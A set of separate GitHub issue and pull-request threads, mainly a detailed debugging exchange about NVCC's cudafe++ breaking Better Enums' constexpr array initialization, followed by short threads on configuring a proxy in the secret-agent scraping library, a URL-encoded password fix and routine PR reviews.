constexpr bool operator!=(const Channel &a, const Channel &b) { return (a._to_integral()) != (b._to_integral()); } constexpr bool operator<(const Channel &a, const Channel &b) { return (a._to_integral()) < (b._to_integral()); } constexpr bool operator<=(const Channel &a, const Channel &b) { return (a._to_integral()) <= (b._to_integral()); } constexpr bool operator>(const Channel &a, const Channel &b) { return (a._to_integral()) > (b._to_integral()); } constexpr bool operator>=(const Channel &a, const Channel &b) { return (a._to_integral()) >= (b._to_integral()); }

(Sorry for the no spaces, but this is what I get out).
The error occurs at character 2362 which seems to be the expression Channel::Red = (1) in the following statement:
constexpr const Channel _value_array[] = {(Channel::Red = (1)), (Channel::Green), (Channel::Blue)};

This is the end of my investigations, I don't know where to go from here.
I know that it's probably the NVCC that's broken, but can you think of a way to make this initialization work?

I suspect something is broken with macro expansion in NVCC, but I am not sure yet. I'll point to the most likely offending line.
The NVCC output you've pasted includes this:
constexpr const Channel _value_array[] = {(Channel::Red = (1)), (Channel::Green), (Channel::Blue)};

This is definitely wrong, looking at the assignment of (1). It's supposed to be this:
const Channel _value_array[] = { ((::better_enums::_eat_assign<Channel>)Channel::Red = 1), ((::better_enums::_eat_assign<Channel>)Channel::Green), ((::better_enums::_eat_assign<Channel>)Channel::Blue), };

Clang++ generates that on my system, with c++ -E foo.cc.

That specific code is the instantiation of this macro:
https://github.com/aantron/better-enums/blob/2fad3f60eea97cf3b75339a1562ab13d5e0cc4f7/enum.h#L494-L495
Perhaps NVCC doesn't like the nested parentheses?
Also, don't mind the missing constexpr in the "correct" output, that is because I forgot to pass -std=c++11 or higher.

Turns out that it actually works, when I define BETTER_ENUMS_NO_CONSTEXPR before including it.
I'm pretty sure that this is actually an NVCC problem, but I would request your help in finding the cause of this issue so we can report this to NVIDIA.
So here is a document that goes through the NVCC compilation phases, page 22 shows a nice overview over the process.
You can watch what NVCC is doing by adding the --verbose flag to compilation.
Both of the C++ intermediate files constexpr-init.cpp1.ii and constexpr-init.cpp4.ii  that are created by using gcc -E  contain the proper code:
constexpr const Channel _value_array[] = {
    ((::better_enums::_eat_assign<Channel>) Channel::Red = 1),
    ((::better_enums::_eat_assign<Channel>) Channel::Green),
    ((::better_enums::_eat_assign<Channel>) Channel::Blue), };

Then however, the output file of cudafe++ produces garbage:
constexpr const Channel _value_array[] = {(Channel::Red = (1)), (Channel::Green), (Channel::Blue)};

If I understand correctly, cudafe++ does some sort of template parsing, which I gather from the fact that NVCC runs it with the parameter --parse_templates. Is it possible that something goes wrong here with your _eat_assign template?
What is it actually supposed to do?

Turns out it doesn't work. With the following example:
#include <iostream>

#define BETTER_ENUMS_NO_CONSTEXPR
#include "enum.h"

BETTER_ENUM(Channel, char, Red /* = 1*/, Green, Blue);

__device__ void calcSomething(int* result, int value, Channel mode) {
    switch(mode) {
    case Channel::Blue:
        *result = 2*value;
        break;
    default:
        *result = 10*value;
    }
}

int main() { }

I get the following error:
constexpr-init.cu(10): error: calling a __host__ function("Channel::operator  ::Channel::_enumerated const") from a __device__ function("calcSomething") is not allowed

constexpr-init.cu(10): error: identifier "Channel::operator  ::Channel::_enumerated const" is undefined in device code

Without the #define BETTER_ENUMS_NO_CONSTEXPR the code compiles, however it breaks again when I initialize Red = 1.

It's almost certainly the case that NVCC is broken.
The point of _eat_assign is to convert the = 1 syntax into something that is acceptable inside an array initializer. Normally, you can't have an array initializer {A = 1, B = 2}. The way Better Enums turns that into valid syntax, is by prepending a cast to A and B that turns them into objects that have an assignment operator. Then, the (Cast)A = 1, (Cast)B = 2 become valid expressions, that are evaluated as part of the initializer. As a last step, the casted A and B have to convert back to the type of the array element. _eat_assign does all that (it "eats" the assignments, maybe I should rename it :p).
I don't have the necessary expertise to look into NVCC, unfortunately. But you should be able to copy out the _eat_assign template, make minor modifications to it if needed, and use it to narrow down the bug. It could also be an interaction between _eat_assign and the BETTER_ENUMS_PP_MAP macro. The job of that macro is to apply another macro to each one of its arguments. Maybe tokens are being somehow lost there by NVCC – it certainly would explain some of the output in your second-to-last post. Try copying that macro out as well, and seeing if NVCC is able to process it properly.
The macro is defined here:
https://github.com/aantron/better-enums/blob/2fad3f60eea97cf3b75339a1562ab13d5e0cc4f7/enum.h#L494-L500
and invoked here:
https://github.com/aantron/better-enums/blob/2fad3f60eea97cf3b75339a1562ab13d5e0cc4f7/enum.h#L678-L679
You should be able to extract all this to a file, for reproducing, pretty easily.
Working backwards, to mimic the last bit of code, that creates the array, create a static array somewhere, with the same definition as _value_array above. I don't know if you will need to nest it in a macro or a namespace to trigger the bug in NVCC, but if so, wrap it:
#define BETTER_ENUMS_TYPE_REPRO(Enum, ...) \
namespace better_enums_data_ ## Enum { \
BETTER_ENUMS_CONSTEXPR_ const Enum      _value_array[] =                       \
    { BETTER_ENUMS_ID(BETTER_ENUMS_EAT_ASSIGN(Enum, __VA_ARGS__)) };           \
}

As you can see, you now need to extract only:

BETTER_ENUMS_CONSTEXPR_: just define it as constexpr.

BETTER_ENUMS_ID: included in BETTER_ENUMS_PP_MAP.

BETTER_ENUMS_EAT_ASSIGN: copy it from above. That will also pull in the BETTER_ENUMS_PP_MAP macro. Its definition starts here (but it's quite large, because it is a manual expansion of a loop):
https://github.com/aantron/better-enums/blob/2fad3f60eea97cf3b75339a1562ab13d5e0cc4f7/enum.h#L103

The eat_assign template itself:
https://github.com/aantron/better-enums/blob/2fad3f60eea97cf3b75339a1562ab13d5e0cc4f7/enum.h#L359-L374
Which has no further dependencies beyond what you will already have extracted.

That should be self-contained, and enough to find the bug by applying BETTER_ENUMS_TYPE_REPRO(Channel, Red = 1, Green, Blue), and checking what tokens are in the output.
If you want to try building up to the bug instead, try following the explanation of how a simplified Better Enums works in this article: https://stackoverflow.com/questions/28828957/enum-to-string-in-modern-c11-c14-and-future-c17-c20/31362042#31362042.

Ah, maybe the macro is not involved, as I see the expansion was correct at an earlier step of the NVCC process. But the above steps should get you a relatively simple, self-contained file to work with. Also, I don't know if NVCC is starting over with macros at some point or not.

This error seems reasonable with BETTER_ENUMS_NO_CONSTEXPR:
constexpr-init.cu(10): error: calling a __host__ function("Channel::operator  ::Channel::_enumerated const") from a __device__ function("calcSomething") is not allowed

constexpr-init.cu(10): error: identifier "Channel::operator  ::Channel::_enumerated const" is undefined in device code

without knowing too much about the semantics of CUDA, I don't know if it makes sense to try adding __device__ in places inside the macro definition.
As for the error with constexpr enabled and Red = 1, it is because of the missing cast in that output you showed, and Red not being an assignable expression without that cast, as described in my previous comment.

...and to give yet more detail about the error you are seeing when BETTER_ENUMS_NO_CONSTEXPR is defined:
Better Enums are objects, and to each Better Enums type Foo, corresponds an actual C++ enum or enum class Foo::_enumerated. So that Better Enums can be used in switch statements, with exhaustiveness checking by the compiler, they include an implicit conversion from Foo to Foo::_enumerated. Writing switch(e) where e is a Better Enum causes the compiler to insert this conversion, and it seems NVCC is rightly complaining that when the cast is not constexpr, it looks like an ordinary host function.


how to set proxy url  and get raw html content

Thanks for sharing this great project.
It seems we can set proxy or new user-agent via Agent constructor or  agent.configure()  from the full API docs
process.env.DEBUG = true;
const { Agent } = require('secret-agent');

const proxyUrl = http://xxx:80
const agent = await new Agent({
    upstreamProxyUrl:proxyUrl
  });

OR:
await agent.configure({ upstreamProxyUrl: proxyUrl });

but it failed with errors:
node:internal/process/promises:246
          triggerUncaughtException(err, true /* fromPromise */);
          ^
DisconnectedFromCore: This Agent has been disconnected from Core (coreHost: ws://localhost:57654)
    at RemoteConnectionToCore.onRespo
...

await agent.configure({ upstreamProxyUrl: proxyUrl });
              ^

TypeError: Cannot read properties of undefined (reading 'configure')

Any insight on setting proxyUrl?  Do we need to set different user-agent for our proxy? and how can we get rawl html content from the agent?  thank you.

Thanks for logging @icesmartjuan. Can you share your exact code snippet?

@blakebyrnes sure, here it is:
process.env.DEBUG = true;
const { agent } = require('secret-agent');
//const { Agent } = require('secret-agent');

(async () => {
  // const agent = await new Agent({
  //   upstreamProxyUrl:proxyUrl
  // });

 // await agent.configure({ upstreamProxyUrl: proxyUrl });
  await agent.goto('https://www.example.com/');

 // const doc = await agent.document
  const title =  agent.document.title;
  const intro =  agent.document.querySelector('html').textContent;

  console.log(title)
  console.log(agent.document)
  await agent.close();
})();

Ah, I think I see. You are exporting lowercase agent from secret agent as a named export, but it needs to be default const agent = require('secret-agent')
The capitalized version of agent is correctly exported.
Hope that helps!

Thank you @blakebyrnes , perfect , it works with const agent = require('secret-agent'),..await agent.configure({ upstreamProxyUrl: proxyUrl });.
And do we need to set different user-agent for scraping a mount or Urls(what kind of user-agents are recommended to avoid being blocked   )? and how can we get raw html content(with all html tags, just like the page view: source view-source:https://secretagent.dev/docs/) from the agent? thank you.

Your user agent will rotate by default. You are likely ok with the built-in, but if you run into issues, you can supply a user agent or targeted Chrome version/OS using the userAgent configuration for a new Agent.
To get outer html, just use regular dom calls. await document.body.outerHTML


Add support for passwords URL encoded passwords.

Passwords with symbols such as / or @ need to be URL Encoded so they can be parsed correctly.
This change ensures the proper decoding.

@isoos Let me know if you need anything else.

Can you add this as a PR to the main repo?


Support for doc & url for required module

This PR looks like findTypeAt of node tern plugin, to support doc and url when find type is done for required module.

My resume and the first

Does attached two-line patch do what you needed?

Yes thanks @marijnh. I close this PR.


idva6-1146  Get endpoint

Short description outlining key changes/additions
GET /acsp-members/{id}
JIRA Ticket Number
idva6-1146
Type of change

[ ] Bug fix
[x] New feature
[ ] Breaking change
[ ] Infrastructure change

Pull request checklist

[ x] I have added unit tests for new code that I have added
[ x] I have added/updated functional tests where appropriate
[ x] The code follows our coding standards

An exhaustive list of peer review checks can be read here

Can we solve the new conflicts introduced by the mongo 5 downgrade?
A few things:

Could we add the JIRA identifier to the PR name, so we can refer back to it if needed (the merge commit)
Could you close this old PR https://github.com/companieshouse/acsp-manage-users-api/pull/16 and reference that it's superseded by this?

Will review actual code now too

CI: Security warnings found!

CI: Security warnings found!